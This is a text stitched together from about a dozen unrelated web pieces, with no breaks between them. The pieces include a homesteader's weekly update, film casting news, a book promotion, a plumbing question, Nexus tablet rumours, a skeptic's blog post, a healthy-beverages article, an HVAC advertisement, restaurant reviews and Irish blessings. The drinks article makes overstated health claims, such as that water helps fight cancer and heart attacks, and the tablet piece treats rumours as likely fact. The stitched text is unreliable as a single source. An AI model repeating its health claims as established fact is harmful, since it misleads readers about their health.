Please take a moment to click and visit, because traffic from our site will signal our support and will help keep us on-the-air…
-I need to make room in one of the chest freezers today to fit a quarter of beef being dropped off later. This might be a challenge… Worst case, it's a rush out to buy another chest freezer 😉
-Installed a GMRS 'base station' antenna, the Comet CA-712EFC. The extended range is phenomenal, still experimenting with it.
-Did some cleanup and organizing in the 'tool room / man-cave' this week. Still more to do.
-Went through certification / testing to operate a trail groomer & drag for snowmobile trail maintenance (this one). Sure is fun 😉
-Trying to keep the snow off the solar panels as we have been getting a steady but light snow the past several days, just enough to make it a problem…
-Practiced more winter hiking in snow while carrying bag kit, rifle, GPS (and 2-way radio for comms 'back to base' just in case).
-Looking into PVS-14, researching.
-Bringing inside another 400 pounds of pellets for the stove from the stack outside, getting ready for a cold(er) snap next week.
-Working with a new potential advertiser to bring on board (they sell quality canned meats for long term storage), we'll see…
Your turn… What have you been up to this week?

It'll be a Soloist reunion on the set of Todd Phillips' new comedy Due Date as Jamie Foxx is joining Robert Downey Jr in the cast.
The film - sort of Planes, Trains %26 Automobiles meets Nine Months (hopefully more the former than the latter) finds Downey Jr racing home to be with his wife (Michelle Monaghan) when she gives birth.
But his only way back to her is hitching a ride with an annoying college slacker (Zach Galifianakis).
Foxx has signed on to play Downey Jr's best mate - a former flame of Monaghan, who secretly still keeps in touch with her. Can anyone say comic complications?
It kicks off shooting shortly in Atlanta, New Mexico and LA.

Glad to see the pair back together? Tell us...

Choosing the best entrepreneur books is something of a challenge for people who are just getting started. It's tough to evaluate which books are going to provide valuable insights and which ones will ultimately waste your time and money.
While we could tell you that One Million in the Bank has won awards, you've probably read several award-winning books in the past that ultimately did not help you achieve your dreams. Here are 10 reasons why One Million in the Bank is going to provide you with a different experience.
1. One Million in the Bank creates realistic expectations
The glitz and glam story that many entrepreneur books promote says that the millionaire lifestyle is achieved primarily when one designs some great, new, innovative app that revolutionizes existing ways of doing things. Let's face it, this misperception even leads people to conclude they can't become millionaires, as most of us don't know the first thing about programming. Alternatively, many entrepreneur books may tell you that launching an "Internet marketing" business is the way to become rich and famous.
But the truth is, 80% of most millionaires are self-employed business owners who have put their efforts into a tried-and-true business like the ones you interact with every single day. Millionaires open roofing businesses, retail stores, and even laundromats. One Million in the Bank focuses on those kinds of businesses. Author Michael L.F. Slavin will even tell you why you should focus on selling real people real goods, instead of attempting to start a 100% "online" business or waiting to leap onto the next technology craze.
2. One Million in the Bank shows you how to find investors without going on Shark Tank
Most traditional businesses will never be that interesting to big-wig venture capitalists, and that's great news. Venture capitalists really are looking for the next big idea. They're also looking for a business they can make "go public" in a very short period of time so that they can skyrocket the value. Then, they want to turn around and sell it. Often, the actual entrepreneur is forced out of the process along the way.
Meanwhile, there are quiet investors in your own neighborhood who just want to help their local economies while making an outstanding return on their investment. This book will show you how and where to find them. You receive a step-by-step method for uncovering them and an actual script for approaching them.
3. Less motivation, more action
There's a place for inspirational, "you can do it," speech and, yes, One Million in the Bank incorporates some motivational words. However, most of the book focuses on the practical steps you can take to get yourself closer to business ownership and a million in the bank. You could essentially write yourself a to-do list blueprint just by reading the book.
4. Real people, real stories
When One Million in the Bank does focus on inspiration, it does so by sharing the stories of real life millionaires who started from the bottom and made it work. These are people just like you: people who got up every morning hating their cubicle job, and middle class or even lower class people who were barely scraping by.
Nobody suddenly inherited a million dollars. They didn't do it by writing books and selling seminars about making millions of dollars (you know, the ones that make it sound like everyone on earth should quit their job). So many entrepreneur books focus only on the author's successes. While Michal L.F. Slavin does take the time to establish his credentials, he also focuses far more of his attention on other people. He also shows there are a variety of ways to make it to the top, which is great news for those of us who hate to write and are afraid of public speaking.
5. You will change your thoughts…but not the way you expect
The occasional dive into "the power of positive thinking" seems to be the norm for just about any entrepreneur book. We all know the drill. "Change your thoughts, change your life." "Believe it, receive it." "Visualize it, and it can be yours." Sadly, positive thinking alone will not make you a millionaire.
One Million in the Bank addresses your thoughts without repeating and rehashing any of these tired old statements. Instead, you'll learn that yes, you do have to change your thoughts, but eliminating cognitive biases that prevent you from seeing opportunities is the way to get it done. He'll show you exactly how to do that so you don't miss the next big opportunity that comes your way.
6. You'll learn where to focus your efforts next
One Million in the Bank won't do everything for you. You'll still have to seek out as much information as you can and learn from as many reputable sources as possible.
But when you're done reading it, you'll understand that your next book purchases should be books about how to write a really good business plan, books about how to sell, books about how to effectively market your business, and books about improving both your leadership and your management skills. You'll have a great foundation for understanding the material in all those subsequent books because author Michael L.F. Slavin already gave you a foundation.
Ultimately, of course, the goal will be to stop reading and to start doing. After you finish One Million in the Bank you will feel absolutely no "analysis paralysis." You'll take concrete steps toward building the business that will support your dreams, even as you look for new ways to educate yourself in how to be successful.

I recently installed an "Amtrol Pressurizer" household water-pressure booster system. It seems that the air bladder in the tank has developed a leak--a brand new system! I hate the thought of having to remove and replace this system--especially so soon. Is there any simple way to solve this problem (ie.- a sealant) without removing the tank? By the way, I HAVE considered the "Fix-A-Flat" approach! Thanks.

No doubt in seven inch tab line Google Nexus 7 series emerged as topper, especially the first Nexus 7 tab was a great hit and was not only appreciated by customers but also from gadget experts. Google and Asus partnership helped to release a marvellous tablet for Nexus fans. However from look of things it seems Google will not be releasing third gen of Nexus 7 tab line-up hence we can say that Google accomplished its goal and now millions of customers has Nexus 7 line up tablets in their hands.
We can claim that after Nexus 7 release Google encouraged Tablet app developers to develop apps for larger display than 5 inches. Now currently App developers find the incentive if they build apps for a tab device. Today we will take a look what are reasons or elements that allows us to claim that there will be no Nexus 7 at least for this year.
We must acknowledge that be deficient in info regarding Nexus 7 for this year made us concerned, especially when we now that I/O event is approaching and latest leaks confirmed our fears of no nexus 7 for this year.
Google Nexus 7 both devices was hit and no doubt one must think after such an exciting journey why Google discontinued Nexus 7 Line-up. According to latest leaks Google Nexus 7 will be replaced with a device of larger display of 8 inch i.e. Nexus 8. We don't have rumours regarding Nexus 7 for this year, instead from first day of this year we have rumours backing an 8 inch Nexus device from Google.
Industry insider claimed that reason behind Nexus 7 launch was Google wanted to penetrate tablet segment in Android OS, with success of Nexus 7 Google has created the penetration and they were successful in it.
On the other had Google Nexus 8 is expected as last Nexus device not only in tab line-up but also in Smartphone lineup, as Google decided to introduce Android Silver program. Nexus 8 will not only kill Nexus 7 but also Nexus 10 successor.
On the other hand good news is last Nexus tab is expected from HTC, A well known Taiwanese Smartphone manufacturer, although initially was not successful in Tab line but now partnership with Google surely will help HTC to deliver something special in tab line. We can expect Google final push will be premium tablet.
Let us know in comments section what do you think reason behind replacement of Nexus 7 with Nexus 8. Would you like to buy Nexus 8 instead of Nexus 7.

Should doctors prescribe prayer as medicine?
Bryan Fischer on the American Family Association Blog thinks that stopping doctors from proselytizing to their patients constitutes a hate crime. Why? It violates their freedom of religion!
"A hate crime is usually defined by state law as one that involves threats, harassment, or physical harm and is motivated by prejudice against someone's race, color, religion, national origin, ethnicity, sexual orientation or physical or mental disability." – USLegal.com
If facing harassment because others have prejudice against your religion is a hate crime, then Dr. Richard Scott of the U.K. is the latest victim of the P.C. police.
He is facing an official sanction from the professional medical body in England, the General Medical Council (GMC) for having the effrontery to suggest to a patient that nurturing his spiritual life might be one part of a holistic course of treatment.
Maybe you don't know this, but when a doctor prescribes a treatment, it should be proven to work. We can't screw around coddling your beliefs when people's lives are at stake. If you believe in faith healing, great! Just prove that it works through the process outlined in the medical profession, and it can be legal. Yes, that will involve experiments that account for bias.
An article in the Christian Post clarifies this a bit:
Scott explained to The Telegraph, "What I do is I ask people and say 'there is something extra I can do and discuss with you, would you like to talk about it?' So I give people an option to talk about something that may be well useful to them should they choose to take it up."
If people choose to talk about faith, he begins by encouraging people to attend his local church. Out of eight patients he would ask, two would attend his church and one patient's life would change, he said.
So, he doesn't technically prescribe prayer. He proselytizes and asks them to attend his church, where they will be told that they need to pray. This is inappropriate because religion does not alleviate people's illnesses. Doctors are supposed to help people, not fill their head with mindless delusions.
The AMA blogger goes on:
It makes no difference to the Tolerance Nazis that study after study has shown the beneficial health effects of faith in God and prayer, or that Dr. Scott only broached the subject with this patient after a lengthy consultation, and after medical checks had been performed and referrals for further care were arranged.
We're not tolerance nazis, we're reality nazis. What studies are you referring to? I'm skeptical, so let's see them. Prove that it works. Take the treatment through the scientific process. Then it will become reality, not blind faith.
It doesn't matter whether the patient agrees to it. Patients don't have a good understanding of what works and what doesn't. It's the doctor's responsibility to prescribe the most effective treatment.
It once was said of the Puritans that they were afraid that somebody, somewhere, might be having fun. Well, secular fundamentalists are afraid that someone, somewhere might be exercising his freedom of religion, and they will commit hate crimes to put a stop to that nonsense.
Poisoning people's minds with your religion is a curious way to have fun. If you want to proselytize, do it outside of the doctor-patient environment. And it's not a hate-crime. It's quality control.
Honestly, wishing problems away as a form of treatment? This is sickening.

Did you know that your body weight is about 60% water? How about your all important brain? It is about 70% water. And your lungs are almost 90% water. It's no wonder most people don't live more than three to five days without in taking water or fluids. Our delicious and healthy smoothie and drink recipes provide creative ideas for flavored drinks, teas, smoothies, and alcoholic drinks.
You can find all these yummy beverage recipes in our Drinks & Smoothies Category on Your Daily Food Choices blog.
Along with making mindful daily decisions about what foods to eat, you also need to make mindful daily decisions about what beverages to drink. We are constantly bombarded with commercials and advertisements to drink soft drinks that are either loaded with sugar or artificial sweeteners. If not soft drinks, the ads are for fu-fu coffee, sweetened tea, tall glasses of orange juice, or beer.
It's not that coffee, tea, orange juice, and beer are totally bad for you. But the first and most important beverage you need to consume daily is water. Yes siree! Glasses of clear, clean water! However, do you ever see an ad for water? And when you go to a fast food restaurant, can you even easily find that little button to dispense the water?
Why You Need to Make Water Your #1 Beverage
Your best drink throughout the day is water and plenty of it so that you stay hydrated and allow your body to function properly. Water is so beneficial yet it's often overlooked.
Your body uses water in all cells, organs, and tissues to transport nutrients, eliminate waste, and help regulate body temperature. Your body loses water through sweating, breathing, and digestion.
Don't let yourself get dehydrated as dehydration can make you feel sluggish and lethargic. Don't rely on thirst alone to remind you to have another glass of water. Get into the habit of drinking water throughout the day.
How much water do you need?
Many experts say the average person needs about eight, 8-ounce glasses of fluid each day. In reality, the amount of water or fluids you need each day depends on many factors. But as a general rule, if your pee isn't mostly clear, you may need to drink more water.
Factors impacting your daily fluid amount:
- Where you live
- If you are sick or healthy
- How physically active you are
- Your age
- Your body muscular structure
- Your body weight
On average, each day your body must replace about 2.5 quarts of water through liquids you drink and food you eat. Drinking this amount of fluids daily may be hard to do without reminders, especially if you are trying to drink all this volume as water.
Hubby Steve likes to drink most of his daily allotment of fluid as water with his three main meals. He drinks a 16-ounce glass of water with breakfast, lunch, and dinner. This way he only has a couple of glasses of fluid to consume throughout the rest of the day or he can choose to count the coffee he drinks each morning as that remaining part.
I prefer to drink fluids throughout the day. So I drink an 8-ounce glass of water with each meal, one mid-morning, another mid-afternoon, and one more after dinner. Counting in my morning coffee, I easily fulfill my daily fluid requirement.
9 Benefits of drinking water
The beauty of drinking lots of water is that it has zero calories. And unless you are purchasing bottled or filtered water, it's free.
- Reduces risk of kidney stones and urinary tract infections by flushing out toxins
- Helps aid digestion and prevents constipation
- Improves brain function helping you think, concentrate, and focus
- Helps relieve and prevent headaches and migraines
- Boosts energy levels and relieves fatigue
- Helps promote weight loss by removing fat by-products and reducing hunger
- Adds moisture to your skin and helps reduce wrinkles
- Boosts your immune system and helps fight against flu, heart attacks, and cancer
- Helps keep joints lubricated and muscles elastic
Don't care for the taste of water?
Not overly fond of water? You want more pizzazz in the taste of water? Try adding fresh lemon or lime juice.
Drinking lemon water in the morning is a very beneficial habit to adopt. It helps flush the digestive system and rehydrate the body after hours of sleep. The vitamin C in lemons helps provide a small immune boost, reduce stress, and may lead to a cleaner skin.
Another option is to drink water that you flavor and infuse with sliced fruits or vegetables. Forget those expensive flavored bottled waters that grocery and convenience stores sell as many have added sugars.
Or how about making fruit and herb infused flavorful ice cubes? Add blueberries, or diced oranges, peaches, or strawberries to water in your ice-cube tray. Toss in a few pieces of mint or other herbs and freeze.
Other options are ginger slices, citrus zest, sliced cucumbers, diced cantaloupe, or diced watermelon. Adding these attractive frozen cubes to your glass of water helps provide a nutrition boost of antioxidants without added sugar or artificial ingredients.
9 Healthy Beverage Choices Other Than Water
While drinking water is the best choice throughout the day, sometimes you want more options to spice up your waterlogged taste buds.
Luckily, there are several beverages that are still on the healthy side of the beverage scale like these nine:
No 1: Green tea
Do you know that besides water, green tea is the healthiest beverage you can drink? Loaded with antioxidants and nutrients that benefit your body, green tea helps soothe inflammation, It also reduces risk of cancer, type 2 diabetes, Crohn's disease, colitis, heart disease, and stroke.
While containing less caffeine than coffee, green tea contains enough to help stimulate your body and keep you awake. It also contains the amino acid L-theanine which together with caffeine works to improve brain function.
Besides improving brain function, the bioactive compounds in green tea help reduce the risk of Alzheimer's and Parkinson's as we age. The catechins in green tea help inhibit the growth of viruses and kill bacteria leading to improved dental health.
Drinking green tea boosts the metabolic rate which can help to increase weight loss. It also leads to decreased body fat, especially in the abdominal area. Try making this healthy green liquid a part of your daily routine.
No 2: Coffee
Caffeinated beverages, especially coffee, can add energy but keep the quantity in moderation. If the caffeine makes you jittery, cut back on the number of cups your drink.
Coffee contains many nutrients and antioxidants. Studies have shown that coffee is extremely good for you. Coffee helps you burn fat, makes you smarter, and lowers risk of diabetes, some cancers like skin cancer, stroke, Alzheimer's, and dementia.
No 3: Black Tea
Studies have shown that like green tea, black tea is also incredible good for you. Black tea can prevent dental decay, strokes, hypertension, kidney stones, arthritis, cardiovascular disease, even several types of cancer.
Black tea can also help you meet your weight loss goals. Black tea is excellent hot or cold. However, beware of sweetened teas sold commercially or in restaurants as they contain too much sugar. If you want a little sweetening, add a few drops of honey.
No 4: Milk
Dairy based milk is a good source for calcium, phosphorus, and potassium; key nutrients for strong and healthy bones. It is also a good source of protein. Any food that contains milk, like cheese, yogurt, and cottage cheese is also a good source of these key nutrients.
Whole milk is relatively high in calories. This is why we prefer to drink 1% or 2% milk which is lower in calories.
Some people are lactose intolerant and can't easily drink milk. Fortunately, neither one of us has any allergies or sensitivities to milk.
For those who cannot drink dairy milk there are options like coconut milk, almond milk, cashew milk, or highly controversial soy milk. However, the nutrient makeup of these other milks is not as good as with dairy milk.
Love chocolate milk? So do we, but keep in mind that a cup of low-fat chocolate milk has 191 calories while a cup of low-fat milk has 102 calories. Those extra 89 calories can add up in a hurry if you drink more than one glass of chocolate milk a day.
However, it is hard to overlook the health benefits of chocolate, especially hot cocoa. The flavonoids in cocoa may help reduce risk of high blood pressure, cardiovascular disease, inflammation, type 2 diabetes, dementia, and kidney disease.
No 5: Sparkling or Carbonated Water
As long as the product is plain carbonated or sparkling water without any added ingredients like sugars and sodium, enjoy the bubbles. Just like with plain water, experiment with adding fresh vegetables like cucumbers, fresh herbs, or slices of fresh fruit to kick up the flavor.
Or go grab those fruit and herb infused flavorful ice cubes from the freezer to offer a nutrition boost of antioxidants without added sugar or artificial ingredients.
No 6: Smoothies
Homemade smoothies that combine carbohydrates, protein and maybe even a little fat are tasty and healthy treats. Green smoothies that contain plenty of dark leafy greens are especially healthy as they are high in amino acids, minerals, vitamins, and beneficial antioxidants.
We often have a tasty green smoothie for lunch. They are quick to make and the variations in flavors are almost endless. Toss in a tablespoon or two of omega-3 rich chia or flax seeds for added fiber. If you need more protein in your daily diet, add protein powder or Greek yogurt to your smoothies.
But do beware of how many calories you are including in these healthful drinks as they can add up quickly. Look out when you buy smoothies from drink chains. They often add fruit juice, sugar, and ice cream which can quickly ratchet up the calories to 500 or more per cup. Check the nutritional information and choose a smoothie that is low in calories.
No 7: Alcoholic Beverages
These include wine, beer, liquor, and liquors. Most studies show that one drink for women and two drinks for men per day are not harmful and may even have benefits.
Moderate amounts of alcohol can benefit your heart as it raises HDL cholesterol ("good" cholesterol), reduces the formation of blood clots, and helps prevent artery damage. Red wine may lower risk of heart attack, cardiovascular disease, cancer, and Alzheimer's disease. However, skip the sugary mixed drinks as they are too high in calories.
The key is moderation. Drinking too much alcohol, including red wine, increases your risk of high blood pressure, liver damage, obesity, high triglycerides, and certain types of cancer. Binge drinking is extremely dangerous, killing brain cells and resulting in permanent memory loss.
No 8: Coconut water
Naturally refreshing with a sweet and nutty taste, coconut water has more potassium than four bananas. Coconut water is the clear liquid found inside young, green coconuts. Don't confuse it with coconut milk, extracted from the flesh of mature coconuts, as coconut milk is higher in fat and calories.
A cup of coconut water contains about 46 calories with only 10 grams of natural sugar, making it a low-calorie and low-sugar alternative to sodas and sports drinks. Many tout the nutritional benefits of coconut water to include lower cholesterol and blood pressure, boosted energy, and even weight loss. However the research is early.
Coconut water is somewhat expensive and it may take a little while to acclimate to the taste. All in all, it is a nutritious beverage that will help keep you hydrated. However, check the label as many companies are adding sweeteners or flavorings to their coconut water.
No 9: Vegetable juice
Drinking vegetable juice is a quick way to get all the benefits of nutritious vegetables without consuming loads of calories. Vegetable juices are low in sugar but they can be high in sodium so choose a low-sodium option. You can make your own vegetable juice at home with a juicer machine. Add black pepper, cayenne pepper, and splash of hot sauce for a spicy version.
6 Unhealthy Beverage Choices
Whether at work or out with friends socially, it is sometimes so tempting to grab or order one of the following beverage diet disasters. While not always easy to resist these temptations, your body will thank you if you do.
No 1: Soft Drinks
One of the worst beverages to put into your body is soda, diet or regular, soda is just plain bad. It is full of high fructose corn syrup, other refined sugars, or artificial sweeteners. Soda contains no vitamins and no minerals.
Avoid soda because it provides no health benefits to you or your family. Studies show that calorie-free diet sodas increase metabolic syndrome, type 2 diabetes, acid reflux, and kidney problems.
No 2: Fruit juices
While fruit juices may sound good, they are actually poor beverage choices even though they contain more nutrients than soda. Fruit juices are loaded with calories and many have added sugar and flavorings.
While fruit juices do contain some vitamins and minerals, they lack fiber which helps keep the sugar in fruit from entering our blood stream at too fast a rate. Skip the fruit juices and simply eat the delicious fruit, giving your precious body more fiber and nutrients.
No 3: Juice drinks
Stay away from any juice product labeled as "juice cocktail" or "juice drink." These clever terms are sneakily used by manufacturers to trick you into buying a watered down product that is high in calories. These products are also loaded with added sugar, with some containing up to 30 grams of sugar in a single serving.
No 4: Sports drinks and Gatorade
Unless you are exercising strenuously or participating in long endurance stints, especially in the heat, where you need to replace minerals and electrolytes, you don't need to consume sports drinks or Gatorade.
Sports drinks and Gatorade contain sugar. Unless you are participating in vigorous physical activity for over one hour, especially in hot conditions, water is your better choice for hydration.
No 5: Energy drinks
If you are looking for a caffeine boost, stick with coffee. Energy drinks are expensive beverages that are high in calories, loaded with sugar, and contain potentially harmful stimulants. Avoid these like the plague.
No 6: Flavored coffee drinks
As inviting as the coffee shops that sell these trendy flavored coffees are, ordering one of their loaded options with a bunch of syrup, chocolate, and whipped cream can easily cost you 600 or more calories. That's more than many breakfasts plus a morning snack.
If you must indulge, go for one of the lighter options. Or order a good old cup of black coffee and sparingly doctor it yourself.
11 Tips for Healthy Smoothie and Drink Recipes
- When out for happy hour to enjoy a drink or two after work, skip the cheeseburger and order a lean protein and a salad. Alcohol shuts down your body's fat oxidizing ability preventing your body from using fat for fuel and instead just stores it as fat.
- Want to top hot cocoa or coffee with dollop of whipped cream but don't like the spray stuff? Whip up a batch of real whipped cream and place small spoonfuls on a lined (parchment or wax paper) baking sheet. Freeze the cream until solid and store in freezer bag until needed. Simply toss one in your hot beverage and enjoy. You can also freeze larger sizes for topping a dessert. They take about 15 to 20 minutes to thaw.
- When ordering an alcoholic drink before dinner, skip the sugary mixed drinks and order a glass of red wine or a Scotch on the rocks. You are much more likely to sip these drinks. Both of these drinks raise antioxidants and help protect against heart disease.
- When freezing a tray of ice cubes, add a bright green mint leaf for a pretty and refreshing way to serve cocktails, lemonade, or sparkling water.
- When on the go, carry water with you so when the thirst monster strikes you are not tempted to stop at a fast food store for a sugary soft drink. Fill a clean, reusable water bottle and toss it in your car or bag. Or fill it the night before and freeze for a few hours of coldness.
- Like iced coffee in the summer time but hate the drink getting watery as the ice melts? Freeze a tray of vanilla flavored milk ice cubes and toss several into your drink. Simply choose any milk, mix in a teaspoon of vanilla or more for intense vanilla flavor, and freeze. Another option is to make coffee ice cubes by freezing strong coffee.
- Jazz up your kid's glass of milk with chocolate ice cubes. Either freeze chocolate milk or make rich chocolate milk by heating 1 cup milk, 1 tablespoon unsweetened cocoa, and ½ cup dark chocolate chips. Whisk until dissolved. Let cool, then pour into ice-cube trays and freeze. For adults, add one or two cubes to a small glass and add an ounce of Bailey's!
- Brighten up a pitcher of water by adding colorful frozen melon balls. They will not only make the water cold but add a hint of fresh flavor. Use a blend of cantaloupe, watermelon, and honeydew.
- Smoothies make a great fast breakfast that you can take with you for that long commute to work. If rushed for time in the mornings, you can measure out the fruit and greens ingredients the night before and store in a plastic bag or glass jar overnight. Or make a week's worth over the weekend and freeze the ingredients. Let thaw for a few minutes before blending. Add liquid, blend, and enjoy.
- Like your smoothies cold? Use at least one frozen fruit when making your smoothie. Berries, cherries, pineapple, melon cubes, grapes, and bananas are excellent choices.
- Want more protein in your smoothies? Add a scope of protein powder or half cup of Greek yogurt per serving. Other excellent options are chia seeds, flax seeds, cottage cheese, or nut butters.

text: Using Your Fan and Air Conditioner in Beaverton04/13/2016The weather is finally heating up and soon you might have to change over to your air conditioner. Along with setting up your annual air conditioner service with the experts at Garoken Energy Co. Inc., there are a number of other items you can do to keep comfy and save money this month. During the in-between season in Beaverton, those far too few spring temps, you may use ceiling fans to keep comfy. Did you know that operating your ceiling fan along with your air conditioner may not only keep you more comfortable during the warmer days, but also save you on energy costs? In order to do that you have to ensure you're utilizing ceiling fans and your air conditioning properly. Here's a handful of things to remember: Raise Your Thermostat This is where the cost savings can possibly come in. If you aren't raising your thermostat you won't be saving any money. Raising your thermostat by a couple degrees, in addition to using your ceiling fan, shouldn't impact your comfort level that much. For every degree you raise your temperature, you're lessening the duration of the "on" cycle of your air conditioner. Adjust Air Direction Ceiling fans have a clockwise and counterclockwise setting to change depending on the season. During the warmer months you'll want to make sure the air is blowing down. You can stand beneath the fan to see if you feel a breeze. If you don't, change the direction. Ceiling fans do not actually decrease the air temperature, but they make you feel cooler. It's the wind chill effect. You'll feel cooler than the temperature on the thermostat. Turn Off Fan When You're Not There Treat your ceiling fan like they are lights, turn it off when leaving a room. If no one is in the room to benefit from the wind chill that a fan produces you're wasting energy by using your fan. Don't forget, a fan doesn't actually cool your air, it just moves your air. Keeping you comfortable and saving you money is important to us at Garoken Energy Co. Inc. in Beaverton. We want to help you make great decisions when it comes to heating and cooling your home. Call us at 503-848-3838 and chat with one of our air conditioner service professionals or you can easily arrange an appointment with us online.

|Subject: Venice to Paris
Have you thought about the overnight train?? I love it - not sure of the cost, but you save the cost of hotel room for one night. You can get a private compartment for just two, get a wonderful picnic before you board - wine, cheese, etc., and sleep to the gentle rocking of the train. They usually depart in the evening - 7 or 8 PM and arrive in the morning. There are no train changes or anything like that, and you can give your passport to the conductor, who will return it to you when he brings your morning coffee and croissant (maybe you don't need to anymore, what with the EU, etc. Haven't done the overnight in a long time.)
It's one of my favorite ways to go from Venice to Paris.

Undercurrent Restaurant Ratings and Reviews
Deb and I went there for our anniversary. The Undercurrent came to mind because I had received a coupon (which I couldn't find). I had never been to the restaurant - though Deb had been there twice for lunch. Not many people were there on a Wednesday night. The restaurant would be more enjoyable if more people were there. On the other hand I appreciated the fact that it was easy to talk. I liked the snazzy style of the restaurant. I liked the blown-up photo of
part of the fountain in front of the Palais Garnier (the old Opera) in Paris. I appreciated the small plates: enough to eat and good for the wallet. The egg rolls we ordered as an appetizer were especially tasty. I thought that the manager should be wearing a necktie, even in 2017. The server managed to seem not very intrusive - even though he kept checking on how-we-were-doing (snore). I prefer the Undercurrent to Mark's - both for setting and food (though we like Mark's). We'll be returning to the Undercurrent, perhaps with another couple. Heck I found the $10 coupon.
We had not been back to the Undercurrent in over two years. The food and service had definitely improved. My wife had a soup and a beef appetizer, while I had a salad and beef entre. All were very good to excellent. The service was friendly and attentive. We will go back in the near future.
This is our favorite restaurant in Greensboro. We love everything about this place. We have been there often enough that the hostess knows us. The ambiance suites us very well, and the service is always excellent. Two things stand out: the chef and Brandon, the sommelier. The food is outrageous, and it is hard to pick one thing that we like the best. The wine choices are creative and unusual and are spot-on for what we are eating. We always end of buying a mixed case of wine from the choices we had for dinner, since the wines that Brandon selects come from smaller vineyards that cannot supply Total Wine or Costco.
From beginning to end our experience was delightful .. food was amazing .. I had the scallops which I would absolutely order again .. they tasted fresh and the sauce gave my senses that I was in the tropics on a beach ... loved !!! My friend had duck and enjoyed .. another nice thing was being able to talk and hear each other .. will return to enjoy another evening !
First time for brunch at Undercurrent. The selection was great and I had the Breakfast Plater. Plenty of food (2 eggs, 3 pieces of bacon, 3 sausage links and hash browns and all very good. My wife had the omelet and it was very good. Definitely a nice place for a Sunday brunch.
Great service with great food. All of the courses were made with care and tasted fantastic. No one rushes through dinner or even sitting at the bar for a drink. Get in now. When the new hotel, condos and apartments are finished this place will need a bigger building. My fourth time here and like a good wine it gets better with age.
The food was flavorless and disappointing, even the desserts, which lacked richness and taste.
The clam chowder was flavorless and I'm not sure there were any clams in it. Certainly little to no clam flavor. The entrees were no better. The service was well-meaning, but not very helpful. Not recommended.
Undercurrent was the first fine restaurant we enjoyed in Sept. 2012, as we were considering relocating to Greensboro from Rochester MI. We were fortunate to have found them, thanks to the Marriott Hotel staff. We were fortunate, also to have found an excellent home in the Sedgefield area. Greensboro was an excellent choice for us. Undercurrent continues to excell over time, as well as their wine list does. It's always a most pleasant experience.
Kari & Ron Gaffé
Enjoyed the atmosphere and the friendly, attentive staff. Did not like the mirror behind our table. Felt it was distracting to look at myself or my dates backside during our meal. Otherwise, was a very pleasant experience.
Food was outstanding and the waitress recommended a very good white wine.

The above photo is a cute, thatch-roof cottage in Bunratty Folk Park in Ireland courtesy of my friend, Becky. Becky and a couple more friends took a trip to Ireland and Scotland last year and she shared her photos with me. Thanks, Becky!
Happy St. Patrick's Day!
I've curated 17 Irish Blessings for St. Patrick's Day just for YOU! And, I've included 3 FREE printables in the mix to add to the 2 FREE printables I posted yesterday. Missed yesterday's post? Here's a link: 17 Irish Proverbs and Sayings for St. Patrick's Day.
I'm a wee bit Irish – one quarter – on my mother's side. Her father, my grandfather, was 100% Irish. However, he was born in the United States to Irish immigrants. So, he and his siblings were 1st generation native Californians.
But, I'm 4th generation native Californian. How did that happen? Well, my maternal grandmother's parents were 1st generation.
I know; it's complicated! American lineage is complicated because unless you are Native American, we are all either immigrants or descendants of immigrants!
But, I digress (yet, again)…
All the following pictures are photos from my trip to Ireland in 2007 (except for the FREE printables). Here's a note to other bloggers and/or anyone who may find this little tidbit interesting: I've retyped the Irish Blessing under each photo because Google bots can't scan words on photos and I want to maximize our search engine optimization for this post.
17 Irish Blessings for St. Patrick's Day
Irish Blessing #1
May the luck of the Irish be with you
And a blessing of unicorns cross your way.
May you have love, laughter and friendship true
And may each new dawn be a perfect day.
– Carole Claire Shannon
Most Irish blessings just say "Irish Blessing" or "An Irish Blessing." So who the heck is Carole Claire Shannon? Well, it's me. I wrote an Irish blessing last year and challenged readers to find it in all the Irish Blessings I scattered throughout my post, An Irish Blessing (or two). But, my name isn't Carole Claire Shannon. My first name is Carole, but the other two names aren't even close to my real name, but are now part of my "fictitious name". If I ever write the great American novel, then I already have my name picked out {grin}. I think Carole Claire Shannon has a nice Irish ring to it, don't you?
By the way, the photo above is the famous Poulnabrone Portal Dolmen, a pre-Christian burial tomb located in the lunar landscape known as The Burren in County Clare, Ireland. We wanted to go there, were hopelessly lost and then, magically, we stumbled upon it! Leprechauns mischievously leading the way…
Irish Blessing #2
May your troubles be less and your blessings be more
And nothing but happiness come through your door.
– Irish Blessing
The above photo is the beautiful village of Lahinch, Ireland located near the Cliffs of Moher. This picture was taken at night; at about 9:00 p.m. Crazy, heh? But, it stays light pretty late in the summer.
Irish Blessing #3
Deep peace of the running wave to you
Deep peace of the flowing air to you
Deep peace of the quiet earth to you
Deep peace of the shining stars to you
Deep peace of the gentle night to you
Moon and starts pour their healing light on you.
– Irish Blessing
This old derelict boat was on a lake in the area of Ireland known as the Connemara Peninsula west of Galway.
Irish Blessing #4
Bless your little Irish heart
And every little Irish part.
– Irish Blessing
Here's your first FREE printable: Bless your little Irish heart.
Irish Blessing #5
A world of wishes at your command,
God and angels close at hand,
Friends and family their love impart,
And Irish blessings in your heart.
– Irish Blessing
The above photo is O'Brien's Tower at the Cliffs of Moher. One really does feel that God and angels are close at hand when visiting this amazing natural wonder. The magnificence of the Cliffs of Moher is breathtaking and when we visited, in the early evening hours of twilight, very few other people were around. The stillness and the oneness with nature, even with the crashing waves below, the blustery wind from the ocean and the calls of seagulls circling in the sky, filled me with peace.
Irish Blessing #6
May you have good fortune throughout your days
And may shamrocks underfoot soften your way.
May the mischief of leprechauns fill your pot with gold
And may you visit Ireland once in your life, it's beauty to behold.
– Irish Blessing
My friend, Christin, and I call the above photo our "first wow." We were trying to find our lodging for the evening, rounded a corner in a neighborhood near Newmarket-on-Fergus full of normal, modern Irish homes and this is what we saw – a crumbling castle tower in a field surrounded by homes. We stopped the car and both went "wow!" There's nothing remotely like this in America and we were overcome by the sense of history that permeates Ireland.
Irish Blessing #7
It's the one place on earth
That Heaven has kissed
With melody, mirth
And meadow, and mist.
– Irish Blessing
These cows are grazing in a meadow in Lahinch, near the Cliffs of Moher. The light from "the gloaming" was magnificent. I had a Panasonic Lumix camera, at the time of this trip, and not a DSLR camera. So, all of these photos were taken with that little point-and-shoot camera.
Irish Blessing #8
May the Irish hills caress you.
May her lakes and rivers bless you.
May the luck of the Irish enfold you.
May the blessings of St. Patrick behold you.
– Irish Blessing
The above photo is the Connemara Peninsula near Galway.
Irish Blessing #9
May the road rise up to meet you,
May the wind be always at your back,
May the sun shine warm upon your face,
The rains fall soft upon your fields,
And until we meet again,
May God hold you in the palm of his hand.
– Irish Blessing
